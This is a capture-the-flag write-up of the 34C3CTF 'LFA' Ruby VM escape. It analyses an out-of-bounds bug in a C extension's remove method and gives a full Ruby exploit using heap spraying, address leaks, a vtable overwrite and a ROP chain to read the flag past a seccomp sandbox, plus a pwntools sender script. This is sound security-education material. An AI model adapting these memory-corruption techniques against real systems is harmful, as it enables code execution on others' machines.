Fengshui and Xuanxue, 34C3CTF LFA Writeup

2017/12/31 CTF Writeup ruby

Before the context

Several days ago, somebody sent me a message and ask me to post more CTF writeups. Usually I will post writeup when I met a very interesting challenge or a challenge make me learn a lot. 34c3ctf is a fantastic CTF event, I played as a tea develiver of Team Tea Develivers, and got a lot of fun from it. Many thanks to ESPR for making these interesting challenges.

The challenge

Name: LFA 
Points: 401
Solves: 5
Writing a ruby extension was fun. Check the readme for further instructions.
Files: https://34c3ctf.ccc.ac/uploads/lfa-1f69fc07cca7f44471899829d07eaa22.tar.gz
Difficulty: medium
Connect: nc 35.198.184.75 1337

This challenge is a ruby vm escape challenge,with a ruby C extension named LFA.so, which implements a ‘safe’ array(i.e. array with boundary check and dynamics length). This is my first time to play with a ruby vm escape challenge. I solved this challenge even if I am very unfamiliar with ruby and ruby vm, which is very fascinating for me.

Beside the LFA.so itself, there are some other files in the challenge packet.

README.txt

The server runs on ubuntu/latest

to build the same version of ruby do the following steps:

git clone https://github.com/ruby/ruby.git
cd ruby
git checkout a5ec07c73fb667378ed617da6031381ee2d832b0 
git apply ../sandbox_patch
autoconf
./configure
make install
mv LFA.so /usr/local/lib/ruby/site_ruby/2.4.0/x86_64-linux/LFA.so

then check that ruby 'sample.rb' runs properly (if you have ruby pre-installed on the machine check that you are running the right version of ruby) 

sample.rb

require 'LFA'

$arr = LFA.new
$arr[1] = 11
$arr[5] = 11
$arr[15000] = 11
puts $arr.sum 

server.py

#!/usr/bin/python

import tempfile
import os
import string
import random


def randstr():
    return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(10))

code = "require 'LFA'\n"
code += "syscall 1, 1, \"hello\\n\", 6\n\n"

max = 600 # 600 linex should be more than enough ;)

print "Enter your code, enter the string END_OF_PWN to finish "

while max:

    new_code = raw_input("code> ")
    if new_code == "END_OF_PWN":
        break
    code += new_code + "\n"
    max -= 1

name = "/tmp/%s" % randstr()

with open(name, "w+") as f:
    f.write(code)

flag = open("flag", "r")

os.dup2(flag.fileno(), 1023)
flag.close()
cmd = "timeout 40 ruby %s" % name
os.system(cmd)

sandbox.patch(truncated)

diff --git a/io.c b/io.c
index ee3ea3e68a..f53b4190cc 100644
--- a/io.c
+++ b/io.c
@@ -9388,6 +9388,419 @@ rb_io_fcntl(int argc, VALUE *argv, VALUE io)
 #define rb_io_fcntl rb_f_notimplement
 #endif
 
+	struct sock_filter filter[] = {
+	VALIDATE_ARCHITECTURE,
+	LOAD_SYSCALL_NR,
+	SECCOMP_SYSCALL(__NR_exit, ALLOW),
+	SECCOMP_SYSCALL(__NR_exit_group, ALLOW),
+	SECCOMP_SYSCALL(__NR_brk, ALLOW),
+	SECCOMP_SYSCALL(__NR_mmap, JUMP(&l, mmap)),
+	SECCOMP_SYSCALL(__NR_munmap, ALLOW),
+	SECCOMP_SYSCALL(__NR_mremap, ALLOW),
+	SECCOMP_SYSCALL(__NR_readv, ALLOW),
+	SECCOMP_SYSCALL(__NR_futex, ALLOW),
+	SECCOMP_SYSCALL(__NR_close, ALLOW),
+	SECCOMP_SYSCALL(__NR_write, JUMP(&l, write)),
+	SECCOMP_SYSCALL(__NR_rt_sigaction, ALLOW),
+	DENY,
+
+	LABEL(&l, mmap),
+	ARG(0),
+	JNE(0, DENY),
+	ARG(2),
+	JNE(PROT_READ|PROT_WRITE, DENY),
+	ARG(3),
+	JNE(MAP_PRIVATE|MAP_ANONYMOUS, DENY),
+	ARG(4),
+	JNE(-1, DENY),
+	ARG(5),
+	JNE(0, DENY),
+	ALLOW,
+
+	LABEL(&l, write),
+	ARG(0),
+	JEQ(STDOUT_FILENO, ALLOW),
+	JEQ(STDERR_FILENO, ALLOW),
+	DENY,
+	};
+	struct sock_fprog prog = {
+		.filter = filter,
+		.len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
+	};
+	bpf_resolve_jumps(&l, filter, sizeof(filter)/sizeof(*filter));
+
+	if (syscall(__NR_prctl, PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0)) {
+		err(1, "prctl(NO_NEW_PRIVS)");
+	}
+
+	if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog)) {
+		err(1, "prctl(SECCOMP)");
+	}
+}

Let’s review these files one by one, README.md tells us how to build the challenge environment (i.e.build the patched ruby and enable the extension ). sample.rb is a simple ruby script to check whether the extension is enabled properly. server.py is the service running remotely. It receives a ruby script, opens the flag and dup the fd to 1023, then run the script. sandbox path is a patch to ruby source. Obviously, this patch enables a seccomp sandbox and disables the rb_io_fcntl, which is used for preventing you get flag by ruby script directly.

rule of seccomp sandbox

Allowed system call
__NR_exit
__NR_exit_group
__NR_brk
__NR_mmap
__NR_munmap
__NR_mremap
__NR_readv
__NR_futex
__NR_close
__NR_write
__NR_rt_sigaction

for mmap 
arg0=0 arg1=PROT_READ|PROT_WRITE arg2=MAP_PRIVATE|MAP_ANONYMOUS arg3=-1 arg4=0
for write
arg0=STDOUT_FILENO or STDERR_FILENO

Seems like we need to read flag from fd 1023 and write to stdout. To achieve this goal, we may have to find vulnerabilities in LFA.so and exploit the ruby virtual machine.

The Vulneriblity

The LFA.so implements a ruby ‘safe’ array with some basic operation(get,set,remove,sum).

__int64 Init_LFA()
{
  module = rb_define_class(&unk_1175, rb_cObject);
  rb_define_alloc_func(module, (__int64)sub_B70);
  rb_define_method(module, (__int64)"initialize", (__int64)initialize, 0LL);
  rb_define_method(module, (__int64)"[]", (__int64)getvalue, 1LL);
  rb_define_method(module, (__int64)"[]=", (__int64)setvalue, 2LL);
  rb_define_method(module, (__int64)"remove", (__int64)remove, 1LL);
  return rb_define_method(module, (__int64)"sum", (__int64)sum, 0LL);
}

The data structure is like this:

00000000 RARRAY          struc ; (sizeof=0x50, align=0x8, mappedto_15)
00000000 size           dd ?
00000004 small_array_flag dd ?
00000008 p_to_buffer     BUF_POINTER ?
00000010 buffer          dd 16 dup(?)
00000050 RARRAY          ends

00000000 RARRAY_CHUNK    struc ; (sizeof=0x50, mappedto_16)
00000000 startidx        dd ?
00000004 inuse_bitmap    dd ?
00000008 next            dq ?                    ; offset
00000010 buffer          dd 16 dup(?)
00000050 RARRAY_CHUNK    ends

for the small array(size <= 0x10), the buffer of the array resided inside of the RARRAY structure. for the non small array, the buffer of the array resides in the RARRAY_CHUNK structure, each RARRAY_CHUNK contains a 0x10*sizeof(int) length buffer, RARRAY_CHUNK organized by single link list formed the buffer of arbitrary length array.

The get,set,sum operations implement properly, but the remove operation is vulnerable .

signed __int64 __fastcall remove(void* array_rboj, void* index_rbobj){
	  ....
	  rarray = rb_check_typeddata(array_rboj, &off_201DC0);
	  if ( rarray->size <= idx )
	    return 0LL;
	  if ( rarray->small_array_flag )
	    return 0LL;
	  first_chunk = rarray->p_to_buffer;
	  cur_chunk = rarray->p_to_buffer;
	  if ( !first_chunk )
	    return 0LL;
	  while ( 1 )
	  {
	    startidx = cur_chunk->startidx;
	    if ( idx >= cur_chunk->startidx && idx <= startidx + 15 )
	      break;
	    cur_chunk = cur_chunk->next;
	    if ( !cur_chunk )
	      return 0LL;
	  }
	  bitmap = cur_chunk->inuse_bitmap;
	  bit = 1 << (idx - startidx);
	  if ( !(bitmap & bit) )
	    return 0LL;
	  new_bitmap = bitmap & ~bit;
	  cur_chunk->inuse_bitmap = new_bitmap;
	  if ( !new_bitmap )
	  {
	    if ( first_chunk->inuse_bitmap )
	    {
	      for ( _cur_chunk = first_chunk; ; _cur_chunk = _cur_chunk->next )
	      {
	        next_chunk = _cur_chunk->next;
	        if ( !next_chunk || !next_chunk->inuse_bitmap )
	          break;
	      }
	      _cur_chunk->next = next_chunk->next;
	    }
	    else
	    {
	      first_chunk = first_chunk->next;
	      rarray->p_to_buffer = first_chunk;
	    }
	    if ( !first_chunk->next && !first_chunk->startidx )
	    {
	      chunk_direct = first_chunk->buffer;
	      i = 16LL;
	      rarray->p_to_buffer = rarray->buffer;
	      data_ptr = rarray->buffer;
	      while ( i )
	      {
	        *data_ptr = *chunk_direct;
	        ++chunk_direct;
	        ++data_ptr;
	        --i;
	      }
	      rarray->small_array_flag = 1;
	    }
	  }
     ....
 }

When the remove operation makes the inuse bitmap of CHUNK set to zero(i.e. the CHUNK didn’t contain any data in use), the chunk will be free, and the size field of RARRAY structure remains unchanged. this is OK because when you access a non-small array with index, if the corresponded chunk is not exist, it will be allocated .(see the code below)

If there is only one chunk remains after free, the last chunk will be freed too and all the data in the last chunk will be moved to the buffer inside the RARRY structure and the is_small_array flag will be set. the size field of RARRAY structure remains unchanged too. this is vulnerable because when you access a small array with index, a simple boundary check index<=size is performed, if index<=size is true, then the access(r/w) of array[index] would be permitted.(see the code below)

signed __int64 __fastcall getvalue(void* array_rboj, void* index_rbobj){
  ...
  rarray = rb_check_typeddata(array_rboj, &off_201DC0);
  if ( rarray->size > idx )
  {
    chunk = rarray->p_to_buffer;
    if ( rarray->small_array_flag )
      return 2LL * *(chunk + idx) + 1;
    while ( chunk )
    {
      _startidx = chunk->startidx;
      if ( idx >= chunk->startidx && idx <= _startidx + 15 )
      {
        if ( !((1 << (idx - _startidx)) & chunk->inuse_bitmap) )
          return 8LL;
        return 2LL * chunk->buffer[(idx - _startidx)] + 1;
      }
      chunk = chunk->next;
    }
  }
  ...
}

signed __int64 __fastcall setvalue(void* array_rboj, void* index_rbobj, void* value_rbobj){
 ...
 rarray = rb_check_typeddata(array_rboj, &off_201DC0);
  if ( rarray->small_array_flag )
  {
    if ( rarray->size <= _index )
    {
      rarray->small_array_flag = 0;
      rarray->size = _index + 1;
      chunk = ruby_xmalloc(0x50LL);
      chunk->startidx = 0;
      chunk->next = 0LL;
      chunk->inuse_bitmap = 0xFFFF;
      cur = chunk;
      *chunk->buffer = 0LL;
      *&chunk->buffer[4] = 0LL;
      *&chunk->buffer[8] = 0LL;
      *&chunk->buffer[12] = 0LL;
      chunk_internal = rarray->p_to_buffer;
      *chunk->buffer = _mm_loadu_si128(chunk_internal);
      *&chunk->buffer[4] = _mm_loadu_si128(&chunk_internal[2]);
      *&chunk->buffer[8] = _mm_loadu_si128(&chunk_internal[4]);
      *&chunk->buffer[12] = _mm_loadu_si128(&chunk_internal[6]);
      rarray->p_to_buffer = chunk;
      goto LABEL_25;
    }
    result = 20LL;
    *(rarray->p_to_buffer + 4 * _index) = _value;
  }
  else
  {
    if ( _index >= rarray->size )
      rarray->size = _index + 1;
    cur = rarray->p_to_buffer;
    if ( !cur )
    {
      v17 = ruby_xmalloc(80LL);
      v18 = &v17->buffer[1];
      v17->startidx = _index;
      v17->next = 0LL;
      *&v17->buffer[1] = 0LL;
      *(v18 + 6) = 0LL;
      v18[14] = 0;
      *(v18 + 1) = 0LL;
      *(v18 + 2) = 0LL;
      v17->buffer[0] = _value;
      v17->inuse_bitmap = 1;
      *&maxchunk = v17;
      BUG();
    }
LABEL_25:
    while ( 1 )
    {
      startidx = cur->startidx;
      if ( _index >= cur->startidx && _index <= startidx + 15 )
        break;
      if ( !cur->next )
      {
        new_chunk = ruby_xmalloc(0x50LL);
        new_chunk->startidx = _index;
        new_chunk->next = 0LL;
        *&new_chunk->buffer[13] = 0LL;
        new_chunk->buffer[15] = 0;
        new_chunk->buffer[0] = _value;
        *&new_chunk->buffer[1] = 0LL;
        new_chunk->inuse_bitmap = 1;
        *&new_chunk->buffer[5] = 0LL;
        *&new_chunk->buffer[9] = 0LL;
        cur->next = new_chunk;
        return 20LL;
      }
      cur = cur->next;
    }
    cur->buffer[(_index - startidx)] = _value;
    cur->inuse_bitmap |= 1 << (_index - startidx);
    result = 20LL;
  }
  return result;
}

To trigger the vunleriblity, we first access the array with a large index(to make size==index), then, we trigger the free of chunks by remove operation. finaly, we get an array with size equal to the large index, but the real size is 0x10. we get a heap Out Of bound Access(OOA). the poc is like this

require 'LFA'

$ooa_size=0x50000
$arr = LFA.new
$arr[0] = 0x12345678
$arr[$ooa_size] = 11

i=0
while i<=$ooa_size do
    $arr.remove i
    i+=0x10
end

puts $arr[0x40000] #OOR
$arr[0x40000]=0xc0de #OOW

Exploit

With the OOA vulnerability above, the next thing to do in standard approach is to create two LFA. and use the OOA vulnerability of first LFA to overwrite the p2buffer pointer field of the second LFA to 0 and size field to 0xffffffffffffffff. after that, we can use the second LFA to achieve full address space access.

After we get full address space access, it is not hard to get the flag. but I am not going to follow the standard way, because it’s nothing to do with ruby. I want to play in a different way: play with the fucking ruby heap and the fucking garbage collector, which is full of fengshui and xuanxue for me. I never exploit ruby vm before and I want to play with it.

LEAK

with the OOA capacity, LEAK is quite easy. Note that, as the result of the presence of the garbage collector, the heap layout is not stable, so we cannot achieve a stable leak by read arr[fixed index].

To get rid of the unstable heap layout and leak heap address, First, we need to spray lots of strings on heap, then we use the Out Of bound Read(OOR) to find the buffer of string we sprayed by some feature of the ruby string structure and heap address.(heap address start with 0x55 and there is a size field ahead of buffer). To leak the libc address, we use a similar way, using the OOR to find the main arena address by the features of the main arena address(main arena start with 0x7f and end with 0xc78)

$spray_size=0x3000
i=0
spray_arr=Array.new($spray_size)
payload_size=0x1004
while i<=$spray_size do
	spray_arr[i]="O"*payload_size
	i+=1
end

i=0
$idx=0
while i<$ooa_size do
    if touint($arr[i+1])&0xff00 == 0x7f00 and touint($arr[i])&0xfff == 0xc78
        $libcaddr=touint($arr[i+1])<<32
        $libcaddr+=touint($arr[i])
        $libcaddr-=(0x3c4c78+0x16000)
    end
    if touint($arr[i+1])&0xff00 == 0x5500 and touint($arr[i+2]) == payload_size
        $heapaddr=touint($arr[i+1])<<32
        $heapaddr+=touint($arr[i])
    end
    if touint($arr[i+2])==0xae57 and $idx==0
    	$idx=i
    end
    i+=2
end
if not $heapaddr
    puts "[-]leak heap failed"
    exit
end
puts "[+]heap addr = 0x"+$heapaddr.to_s(16)

if not $libcaddr
    puts "[-]leak libc base failed"
    exit
end
puts "[+]libc base = 0x"+$libcaddr.to_s(16)

if $idx==0
    puts "[-] find idx failed"
    exit
end

Control The PC

After we leaked heap address and libc address, it’s time to try to control PC, I really don’t know which address or which pointer on heap should I overwrite to hijack control flow, so I tried to achieve this using a very xuanxue way:

i=0
j=0
payload="A"*4*$ooa_size 

while i<$ooa_size do
    payload_u=u64(payload[j,j+8])
    $arr[i]=toint(payload_u&0xffffffff)
    $arr[i+1]=toint(payload_u>>32)
    i=i+2
    j=j+8
end

the code above will make the ruby process crash since we are performing a wayward Out Of bound Write(OOW) on the heap. by varying the initial value of i, we will get several unique crash. some are because heap metadata corruption, some are because the dereference of invalid address, but there are some crashes due to an invalid PC, for example, jmp to 0x4141414141414141. it means we successfully find a way to control PC just by a wayward heap OOW! CCCCCool!, isn’t it?

I choose one of the invalid PC crash to figure out why it crash here. It comes out to some interesting conclusion: the crash is due to we overwrite a function pointer named rb_gvar_val_setter. This function pointer will be used as rax in the later jmp rax instruction, It seems like this function implements the assignment operation of ruby? I don’t know, and it’s not important.

The next thing is to find a unique feature of this function pointer so we can find the pointer and overwrite it, after some analysis, we found out some useful information of that function pointer(see code below), rb_gvar_val_setter is inside in a vtable, and the pointer of the vtable resides in a structure and just before a field with a constant value 0xae57, It seems like 0xae57 is a type value of ruby object? I don’t know, and it’s not important.

structure:
	...
	vtable
	0xae57
	...
	
vtable:
	...
	rb_gvar_val_getter 
	rb_gvar_val_setter
	...

So to achieve a relatively stable pc controlling, we need to use the OOR to find the constant value 0xae57, and then use the OOW to overwrite the vtable to a faked vtable. sounds good!

but there is still a problem remains to solve, to fake vtable, we need a block of memory with known address and controllable content, this is not hard to achieve with the capacity of full address space access. but I don’t want to use that capacity. as I state above, I want to solve this challenge by some fengshui or xuanxue way, so I choose to use heap spray again.

Note that we have already leak a heap address at leak stage and the content of this memory is “O”*payload size which is under our control. This buffer is a block of memory we want. But in some cases, we need to change the content of the buffer, for example, put some content that rely on the address of the buffer.

We achieve this by following code, first we set the spray arr to a new array. this operation will trigger the garbage collector to free all the strings we sprayed before, we sleep one second to wait the garbage collector finished, and then sprayed the string again with the content we want. the content of leaked heap address will be changed to the value we want. This trick is similar as UAF. CCCCCool again, isn’t it? I like fengshui, haha.

spray_arr=Array.new($spray_size)
sleep 1
i=0
while i<=$spray_size do
    payload=[content we want]
    spray_arr[i]=payload
    i+=1
end

now, the only thing we need to figure out is what to do after we are able to control the PC. since we need to read flag from 2003 and write flag to stdout, it’s not bad to pivot the stack and ROP.

The detail of stack pivot is trivial, actually we have several ways to achieve this. I choose to pivot the rsp to the heap buffer we leaked before, and spray the ROP chains and fake vtable in the previous step. now, everything is clear, just write a wrapper to send the exp to the remote. and we will get the flag.

Final Exploit

sample.rb0

def touint(value)
    if value<0
        return (0xffffffff+value+1)
    end
    return value
end
def toint(value)
    if value>0x7fffffff
        return (value-0xffffffff-1)
    end
    return value
end
def p64(value)
    result=""
    for i in 0...8 do
        result+=(value&0xff).chr
        value=value>>8
    end
    return result
end
def u64(value)
    result=0
    for i in 0...8 do
        result=result<<8
        result+=value[7-i].ord
    end
    return result
end
$ooa_size=0x50000
$spray_size=0x3000

$arr = LFA.new
$arr[0] = 0x12345678
$arr[$ooa_size] = 11

i=0
while i<=$ooa_size do
    $arr.remove i
    i+=0x10
end

i=0
spray_arr=Array.new($spray_size)
payload_size=0x1004
while i<=$spray_size do
	spray_arr[i]="O"*payload_size
	i+=1
end

i=0
$idx=0
while i<$ooa_size do
    if touint($arr[i+1])&0xff00 == 0x7f00 and touint($arr[i])&0xfff == 0xc78
        $libcaddr=touint($arr[i+1])<<32
        $libcaddr+=touint($arr[i])
        $libcaddr-=(0x3c4c78+0x16000)
    end
    if touint($arr[i+1])&0xff00 == 0x5500 and touint($arr[i+2]) == payload_size
        $heapaddr=touint($arr[i+1])<<32
        $heapaddr+=touint($arr[i])
    end
    if touint($arr[i+2])==0xae57 and $idx==0
    #if touint($arr[i])&0xfff==0xbe0 and touint($arr[i+2])&0xfff==0xd10 and touint($arr[i+8])==0x41 and $idx==0
	t1=touint($arr[i+1])<<32
	t1+=touint($arr[i])
	#puts t1.to_s(16)
	t2=touint($arr[i+3])<<32
	t2+=touint($arr[i+2])
	#puts t2.to_s(16)
	$idx=i
    end
    i+=2
end
if not $heapaddr
    puts "[-]leak heap failed"
    exit
end
puts "[+]heap addr = 0x"+$heapaddr.to_s(16)

if not $libcaddr
    puts "[-]leak libc base failed"
    exit
end
puts "[+]libc base = 0x"+$libcaddr.to_s(16)

if $idx==0
    puts "[-] find idx failed"
    exit
end
puts "[+]idx = 0x"+$idx.to_s(16)
spray_arr=Array.new($spray_size)
sleep 1
pop_rdi=$libcaddr+0x00186e2e
pop_rsi=$libcaddr+0x00189865
pop_rdx=$libcaddr+0x00001b96
pop_rcx=$libcaddr+0x001c2b1c
readv=$libcaddr+0x109ed0
write=$libcaddr+0xb83c60
exit0=$libcaddr+0x3bf00
pop_rsp=$libcaddr+0x00159f1c #pop rsp; ret
push_jump=$libcaddr+0x0019e53b #push [rdx]; jmp [rsi-0x14]
i=0
while i<=$spray_size do
    payload=p64(pop_rdi)
    payload+=p64(1023)
    payload+=p64(pop_rsi)
    payload+=p64($heapaddr+0x100)
    payload+=p64(pop_rdx)
    payload+=p64(1)
    payload+=p64(readv)
    payload+=p64(pop_rdi)
    payload+=p64(1)
    payload+=p64(pop_rsi)
    payload+=p64($heapaddr+0x120)
    payload+=p64(pop_rdx)
    payload+=p64(0x40)
    payload+=p64(write)
    payload+=p64(exit0)
    payload=payload.ljust(0x100,"Z")
    payload+=p64($heapaddr+0x120)
    payload+=p64(0x40)
    payload=payload.ljust(0x150-0x14,"Z")
    payload+=p64(pop_rsp)
    payload=payload.ljust(0x150,"Z")
    payload+=p64($heapaddr)
    payload+=p64($heapaddr+0x150)
    payload+=p64(push_jump)
    payload=payload.ljust(payload_size,"X")
    spray_arr[i]=payload
    i+=1
end
i=$idx-0x90/4
payload=p64($heapaddr+0x150)*0x100
j=0
while j<payload.length do
    payload_u=u64(payload[j,j+8])
    $arr[i]=toint(payload_u&0xffffffff)
    $arr[i+1]=toint(payload_u>>32)
    i=i+2
    j=j+8
end

sendexp.py

#!/usr/bin/env python
from __future__ import print_function
import sys, random, string, struct
from pwn import *
from hashlib import sha256

def proof_of_work_okay(chall, solution, hardness):
    h = sha256(chall.encode('ASCII') + struct.pack('<Q', solution)).hexdigest()
    return int(h, 16) < 2**256 / hardness

def random_string(length = 10):
    characters = string.ascii_letters + string.digits
    return ''.join(random.choice(characters) for _ in range(length))

def solve_proof_of_work(task):
    hardness, task = task.split('_')
    hardness = int(hardness)

    ''' You can use this to solve the proof of work. '''
    print('Creating proof of work for {} (hardness {})'.format(task, hardness))
    i = 0
    while True:
        if i % 1000000 == 0: print('Progress: %d' % i)
        if proof_of_work_okay(task, i, hardness):
            return i
        i += 1

local=0
ip="202.112.51.146"
if local==0:
    ip="35.198.184.75"
io=None
def do_pow():
    print (io.recvuntil("./pow.py "))
    challenge=io.recvuntil("\n")[:-1].strip()
    print (challenge)
    response=solve_proof_of_work(challenge)
    print (response)
    io.recvuntil("Your response?")
    io.sendline(str(response))
while True:
    try:
        io=remote(ip,1337)
        if local==0:
            do_pow()
        fd=open("./sample.rb0")
        payload=fd.read()
        fd.close()
        io.sendline(payload)
        io.sendline("END_OF_PWN")
        io.interactive()
    except:
        continue

Search

    Post Directory